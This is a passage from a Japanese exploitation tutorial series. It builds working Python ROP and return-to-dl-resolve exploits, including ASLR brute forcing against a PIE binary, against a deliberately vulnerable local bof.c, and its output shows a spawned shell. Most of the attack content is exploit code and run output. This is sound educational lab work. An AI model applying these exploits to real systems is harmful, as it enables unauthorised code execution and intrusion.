Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) data = p.stdout.read(4) addr_r_debug = struct.unpack('<I', data)[0] print "[+] addr_r_debug = %08x" % addr_r_debug p.stdin.write(struct.pack('<I', addr_r_debug)) data = p.stdout.read(size_bulkread) addr_link_map = struct.unpack('<I', data[4:8])[0] offset = addr_link_map - addr_r_debug addr_link_map_lib = struct.unpack('<I', data[offset+12:offset+16])[0] print "[+] addr_link_map, addr_link_map_lib = %08x, %08x" % (addr_link_map, addr_link_map_lib) p.stdin.write(struct.pack('<I', addr_link_map_lib)) data = p.stdout.read(20) addr_lib_dynamic = struct.unpack('<I', data[8:12])[0] print "[+] addr_lib_dynamic = %08x" % addr_lib_dynamic p.stdin.write(struct.pack('<I', addr_lib_dynamic)) data = p.stdout.read(size_bulkread) addr_lib_gotplt = struct.unpack('<I', data.split('\x03\x00\x00\x00')[1][:4])[0] offset = addr_lib_gotplt - addr_lib_dynamic addr_dl_resolve = struct.unpack('<I', data[offset+8:offset+12])[0] print "[+] addr_lib_gotplt, addr_dl_resolve = %08x, %08x" % (addr_lib_gotplt, addr_dl_resolve) p.stdin.write(struct.pack('<II', addr_dl_resolve, addr_link_map)) p.wait()
ここでは、size_bulkreadの値を0x400に変更し、このサイズだけまとめて読み出した後必要な値を抜き出している。
実行してみると次のようになる。
$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7733904 [+] addr_link_map, addr_link_map_lib = b7733918, b7711858 [+] addr_lib_dynamic = b7702d7c [+] addr_lib_gotplt, addr_dl_resolve = b7702ff4, b77266a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
より少ない読み書き回数で、シェルが起動できていることが確認できた。
関連リンク
ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避
「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらに実行ファイルがPIEの場合についてブルートフォースによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、PIE、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -fPIE -pie bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
readelfコマンドでセクション情報を表示すると、各セクションのアドレスが小さな値(ファイル先頭からのオフセット)になっており、PIEであることが確認できる。
$ readelf -S a.out Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1 ... [12] .plt PROGBITS 00000400 000400 000060 04 AX 0 0 16 [13] .text PROGBITS 00000460 000460 000228 00 AX 0 0 16 ... [23] .got.plt PROGBITS 00001ff4 000ff4 000020 04 WA 0 0 4 [24] .data PROGBITS 00002014 001014 000008 00 WA 0 0 4 [25] .bss NOBITS 0000201c 00101c 000008 00 WA 0 0 4 ...
ASLRが無効な場合に対するエクスプロイトコードを書いてみる
ASLRは実行時のメモリ配置に関するセキュリティ機構であり、ASLRが有効でも無効でもコンパイルされた実行ファイルは同一である。 そこで、手始めにASLRが無効な場合について考えてみる。
readelfコマンドおよびobjdumpコマンドを使い、実行ファイルのセクション情報およびディスアセンブル結果を書き出してみる。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
出力したデータをもとに、ROP stagerによる固定アドレス書き込み、Return-to-dl-resolveによるsystem関数呼び出しを行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_bin = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) addr_dynsym = base_bin + 0x1e0 # readelf -S a.out addr_dynstr = base_bin + 0x2a0 # readelf -S a.out addr_relplt = base_bin + 0x3a8 # readelf -S a.out addr_plt = base_bin + 0x400 # readelf -S a.out addr_gotplt = base_bin + 0x1ff4 # readelf -S a.out addr_bss = base_bin + 0x201c # readelf -S a.out addr_plt_read = base_bin + 0x410 # objdump -d -j.plt a.out addr_got_read = addr_gotplt + 0xc # objdump -d -j.plt a.out addr_pop3 = base_bin + 0x62d # objdump -d a.out addr_pop_ebp = base_bin + 0x62f # objdump -d a.out addr_leave_ret = base_bin + 0x5cd # objdump -d a.out addr_pop_ebx = base_bin + 0x3fc # objdump -d a.out stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_pop_ebx) buf1 += struct.pack('<I', addr_gotplt) buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 100) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) addr_reloc = base_stage + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAA' buf2 += struct.pack('<I', addr_plt) buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_got_read - base_bin) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードは実行ファイルのベースアドレス、オーバーフローさせるバッファのサイズを順に引数に取る。 コードの内容は基本的にはPIEでない場合と同じであるが、以下について修正する必要がある。
- PIEではebxレジスタにGOTセクションの先頭アドレスがセットされ、PLTにて利用される。そのため、最初にebxレジスタにGOTセクションの先頭アドレスをセットする。
- Elf32_Rel構造体のreloc_offsetには実際に配置されたアドレスではなく、ファイル先頭からのオフセット値が入る。
ASLRを一旦無効にし、gdbで実行ファイルのベースアドレスを調べてみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x560 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x80000560 in main () (gdb) i proc map process 1780 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x80000000 0x80001000 0x1000 0x0 /home/user/tmp/a.out 0x80001000 0x80002000 0x1000 0x0 /home/user/tmp/a.out 0x80002000 0x80003000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) quit
この結果から、実行ファイルのベースアドレスが0x80000000であることがわかる。
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 0x80000000 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfc\x03\x00\x80\xf4\x1f\x00\x80\x10\x04\x00\x80-\x06\x00\x80\x00\x00\x00\x00\x1c(\x00\x80d\x00\x00\x00/\x06\x00\x80\x1c(\x00\x80\xcd\x05\x00\x80' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
PIEな実行ファイルに対し、ASLRが無効な条件下でシェルが起動できていることがわかる。
ASLRを有効にしてブルートフォースしてみる
実行ファイルのベースアドレスが一致すればシェルが起動することを確認できたので、ASLRが有効な場合について考えてみる。 事前にbuffer over-readによるスタック上のリターンアドレスの書き出しなどができる場合は、これをもとにベースアドレスを計算すればよい。 ベースアドレスの計算ができない場合でも、32bit環境であればブルートフォースによる方法が可能である。
ASLRを有効にし、gdbを使ってベースアドレスが変化する様子を調べてみる。
ここで、gdbはデフォルトでASLRを無効化するため、set disable-randomization off
を実行する必要があることに注意する。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x560 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0xb776c560 in main () (gdb) i proc map process 2111 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb776c000 0xb776d000 0x1000 0x0 /home/user/tmp/a.out 0xb776d000 0xb776e000 0x1000 0x0 /home/user/tmp/a.out 0xb776e000 0xb776f000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 2 at 0xb776c560 Starting program: /home/user/tmp/a.out Temporary breakpoint 2, 0xb7779560 in main () (gdb) i proc map process 2114 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb7779000 0xb777a000 0x1000 0x0 /home/user/tmp/a.out 0xb777a000 0xb777b000 0x1000 0x0 /home/user/tmp/a.out 0xb777b000 0xb777c000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) quit
繰り返し実行すると、実行ファイルのベースアドレスが0xb77XX000
(XX=00-ff)あるいは0xb7800000
の範囲で変化していることがわかる。
つまり、32bit環境であれば0x100(=256)回程度の試行でベースアドレスが一致すると考えられる。
引数で与えたベースアドレスのもと、繰り返し試行するようにエクスプロイトコードを修正してみる。
# exploit-bf.py (snip) # execution part i = 0 while True: print >>sys.stderr, "[+] trial: %d" % (i+1) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) # print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait() i += 1
ベースアドレスに取り得る適当なアドレスを引数にセットし、実行してみる。
$ python exploit.py 0xb7779000 100 [+] trial: 1 [+] trial: 2 [+] trial: 3 [+] trial: 4 (snip) [+] trial: 334 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ [+] trial: 335 [CTRL+C] Traceback (most recent call last): File "exploit.py", line 76, in <module> p.wait() File "/usr/lib/python2.7/subprocess.py", line 1291, in wait pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0) File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call return func(*args) KeyboardInterrupt
32bitのASLRが有効な条件下のもと、334回の試行でシェルが起動できていることが確認できた。
関連リンク
ROP stager + Return-to-dl-resolveによるASLR+DEP回避
「ROP stager + read/writeによるASLR+DEP回避」では、PLT中のwrite関数を使うことでlibcのベースアドレスを特定し、system関数によるシェル起動を行った。 この方法では各ライブラリ関数のオフセットを調べておく必要があるが、このオフセットはlibcの種類やバージョンごとに異なるため、不明な場合は最初にこれを特定する必要がある。 しかし、ライブラリ関数の初回呼び出し時におけるアドレス解決の仕組みを利用すると、libcの種類によらず任意のライブラリ関数を呼ぶことが可能になる。 この方法はReturn-to-dl-resolveなどと呼ばれる。 ここではASLR+DEPが有効な状況下で、ROP stagerによる固定アドレス書き込みおよびReturn-to-dl-resolveを使ったシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
ELF relocationの仕組み
ELF形式の実行ファイルでは、PLTおよびGOTと呼ばれるテーブルを使い、ライブラリ関数のアドレスを初回実行時に動的に解決する。 この処理はダイナミックリンカと呼ばれるライブラリが行い、a.out形式の場合はld.so、ELF形式の場合はld-linux.soがこれに対応する。 また、これらの実装はglibcにある。
上のプログラムをディスアセンブルし、write関数呼び出し時の流れを確認してみる。 まず、write関数はmain関数の中で次のようにして呼び出される。
$ objdump -d a.out Disassembly of section .text: 08048404 <main>: 8048404: 55 push ebp 8048405: 89 e5 mov ebp,esp ... 8048455: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 804845c: e8 df fe ff ff call 8048340 <write@plt> 8048461: b8 00 00 00 00 mov eax,0x0 8048466: c9 leave 8048467: c3 ret
write@pltは実行ファイルの.pltセクションに置かれており、中身は次のようになっている。
08048340 <write@plt>: 8048340: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048346: 68 18 00 00 00 push 0x18 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
0x804a00cは.got.pltセクションの中にあり、この中身は初回呼び出し時はjmpの次の命令を指す0x8048346となっている。 そしてアドレスの解決が行われると、このアドレスは実際に解決されたlibc内のwrite関数のアドレスに書き換えられ、以降の呼び出しは直接write関数にジャンプするようになる。 初回呼び出し時は、スタックに0x18をpushした後、.pltセクションの先頭にある処理にジャンプする。
08048300 <read@plt-0x10>: 8048300: ff 35 f8 9f 04 08 push DWORD PTR ds:0x8049ff8 8048306: ff 25 fc 9f 04 08 jmp DWORD PTR ds:0x8049ffc 804830c: 00 00 add BYTE PTR [eax],al ...
ここで、0x8049ff8および0x8049ffcは実行ファイルの.gotセクションの2ワード目、3ワード目であり、実行時にld-linux.soのアドレスが入る。 具体的にはそれぞれ.bssセクションの後ろのアドレス、_dl_runtime_resolve関数のアドレスとなり、前者がスタックに積まれた後、後者の関数にジャンプすることになる。 _dl_runtime_resolve関数はアーキテクチャごとに異なる実装になっており、x86の場合は次のようになっている。
.text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
コードとコメントから、レジスタにセットしたスタック上の値を引数として、本体である_dl_fixup関数が呼ばれることがわかる。 ここでセットされる値は、先にpushした.bssセクションの次のアドレスと0x18である。
_dl_fixup関数の実装は次にある。
この関数は概ね以下に説明する流れでアドレス解決を行う。 なお、各構造体は次のように定義されている。
typedef uint32_t Elf32_Word; typedef uint32_t Elf32_Addr; typedef uint16_t Elf32_Section; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
- 実行ファイルの.rel.pltセクションを参照し、reloc_offset (=0x18) の位置にあるELF32_Rel構造体
reloc
を見る - 実行ファイルの.dynsymセクションにあるElf32_Sym構造体の配列を参照し、
reloc->rel_info >> 8
番目の要素sym
を見る - 実行ファイルの.dynstrセクションを参照し、
sym->st_name
のオフセット位置にある文字列を見る - この文字列を関数名とする関数のアドレスを解決し、
reloc->rel_offset
に入っているGOTアドレスに書き込む - 解決したアドレスにジャンプし、ライブラリ関数本体が実行される
ここで、reloc_offset (=0x18) が.pltセクションの先頭にジャンプする前にpushされる任意の32bit整数であることを考える。 すると、次のように調整することで任意のライブラリ関数が呼べそうなことがわかる。
- 適当なELF32_Rel構造体
reloc2
を指すようにreloc_offsetを計算し、これをスタックに置いた状態で.pltセクションの先頭にジャンプする - 適当なElf32_Sym構造体
sym2
を指すようにインデックスreloc2->rel_info >> 8
を計算してセットしておく - 適当な文字列を指すように、
sym2->st_name
のオフセット値を計算してセットしておく - 呼び出したい関数名を適当な文字列として置いておく
これを行うには、用意した構造体や文字列のアドレスを知っておく必要がある。 ここではROP stagerを使い固定アドレスにデータを書き込むことで、これらのアドレスを計算できるようにする。
エクスプロイトコードを書いてみる
上の内容をもとに、ステップバイステップで確認しながらエクスプロイトコードを書いてみる。
ROP stagerでReturn-to-pltしてみる
ROP stagerで.bssセグメントにデータを書き込みstack pivotした後、PLTセクションにあるwrite関数を呼ぶコードを書くと次のようになる。 具体的な手順は「ROP stager + read/writeによるASLR+DEP回避」と同じである。
# test1.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_plt_read = 0x08048310 # objdump -d -j.plt a.out addr_plt_write = 0x08048340 # objdump -d -j.plt a.out addr_bss = 0x0804a018 # readelf -S a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_plt_read) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_stage) buf += struct.pack('<I', 100) buf += struct.pack('<I', addr_pop_ebp) buf += struct.pack('<I', base_stage) buf += struct.pack('<I', addr_leave_ret) p.stdin.write(struct.pack('<I', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) # 2nd stage cmd = '/bin/sh <&2 >&2' buf = 'AAAA' buf += struct.pack('<I', addr_plt_write) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
このコードはオーバーフローさせるバッファのサイズを引数に取る。 また、libcのベースアドレスの書き出しやオフセットの計算などは行っていない。
引数をセットし実行すると次のようになる。
$ python test1.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
write@plt関数により、与えた文字列が書き出されていることが確認できる。
直接relocationさせてみる
次に、write@pltにジャンプする代わりにpltセクションの先頭に直接ジャンプしてみる。 すでに確認したように、このプログラムのwrite@pltにおけるreloc_offsetは0x18である。 これをジャンプするアドレスの次に挿入すれば、通常のジャンプ時と同じスタックの状態となる。
# test2.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out reloc_offset = 0x18 # objdump -d -j.plt a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
Relocationテーブルを作ってみる
次に、適当なRel32_Rel構造体を作り、これに合わせて計算したreloc_offsetを指定してみる。 まず、write@pltが参照している構造体について調べてみる。
$ objdump -s -j.rel.plt a.out Contents of section .rel.plt: 80482b0 00a00408 07010000 04a00408 07020000 ................ 80482c0 08a00408 07030000 0ca00408 07040000 ................
ここで、バイト列がビッグエンディアンで並んでいることに注意する。 上の結果から、.rel.pltセクションの先頭アドレスは0x80482b0、本来のreloc_offsetである0x18の位置には0x804a00c、0x407が入っていることがわかる。 r_offsetに相当する0x804a00cはwrite@plt関数が参照するGOTアドレスであり、この位置に解決されたwrite関数のアドレスが書き込まれることになる。
この結果を元にコードを書き換えてみると次のようになる。
# test3.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out r_info = 0x407 # objdump -s -j.rel.plt a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test3.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
シンボルテーブルを作ってみる
さらに、適当なElf32_Sym構造体を作り、これに合わせて計算した配列のインデックスreloc->r_info >> 8
を指定してみる。
まず、.dynsymセクションにあるシンボルテーブルと、このテーブルが参照する.dynstrセクションを確認する。
$ objdump -s -j.dynsym a.out Contents of section .dynsym: 80481cc 00000000 00000000 00000000 00000000 ................ 80481dc 29000000 00000000 00000000 12000000 )............... 80481ec 01000000 00000000 00000000 20000000 ............ ... 80481fc 2e000000 00000000 00000000 12000000 ................ 804820c 40000000 00000000 00000000 12000000 @............... 804821c 1a000000 3c850408 04000000 11000f00 ....<........... $ objdump -s -j.dynstr a.out Contents of section .dynstr: 804822c 005f5f67 6d6f6e5f 73746172 745f5f00 .__gmon_start__. 804823c 6c696263 2e736f2e 36005f49 4f5f7374 libc.so.6._IO_st 804824c 64696e5f 75736564 00726561 64005f5f din_used.read.__ 804825c 6c696263 5f737461 72745f6d 61696e00 libc_start_main. 804826c 77726974 6500474c 4942435f 322e3000 write.GLIBC_2.0.
Elf32_Sym構造体のサイズは0x10バイトであり、このシンボルテーブルには6個のElf32_Sym構造体がある。
本来のreloc->r_info
は0x407であるから、参照しているインデックスreloc->r_info >> 8
は0x4である。
ここでインデックスは0から始まるので、0x804820cにある0x40
がwrite関数に対応するsym->st_name
である。
実際.dynstrセクションを見ると、オフセット0x40の位置に"write\x00"
が入っていることが確認できる。
また、sym->st_info
はシンボルの種類を表しており、ここでは(STB_GLOBAL << 4) | STT_FUNC
(=0x12) である。
これは、シンボルがグローバルかつ関数を指していることを意味する。
なお、reloc->r_info & 0xff
はrelocationエントリの種類を表しており、ここではR_386_JMP_SLOT
(=7) である。
_dl_fixup関数ではこの値がR_386_JMP_SLOT
であることをチェックしており、異なる値の場合はエラーとなる。
この結果を元にコードを書き換えてみると次のようになる。
# test4.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 st_name = 0x40 # objdump -s -j.dynsym a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
ここで、Elf32_Sym構造体を置くアドレスはdynsymセクションの先頭からちょうど構造体のサイズ(=0x10)の倍数だけ進んだ位置でなければならない。 このコードでは、align_dynsym変数を使ってこのアラインメントを行っている。
実行すると、同じ結果となることが確認できる。
$ python test4.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
ストリングテーブルを作ってみる
最後に、適当なアドレスに文字列"write\x00"
を置き、これに合わせて計算したst->name
を指定してみる。
# test5.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 #st_name = 0x40 # objdump -s -j.dynsym a.out st_name = (addr_sym + 16) - addr_dynstr buf = 'AAAA' buf += struct.pack('<I', 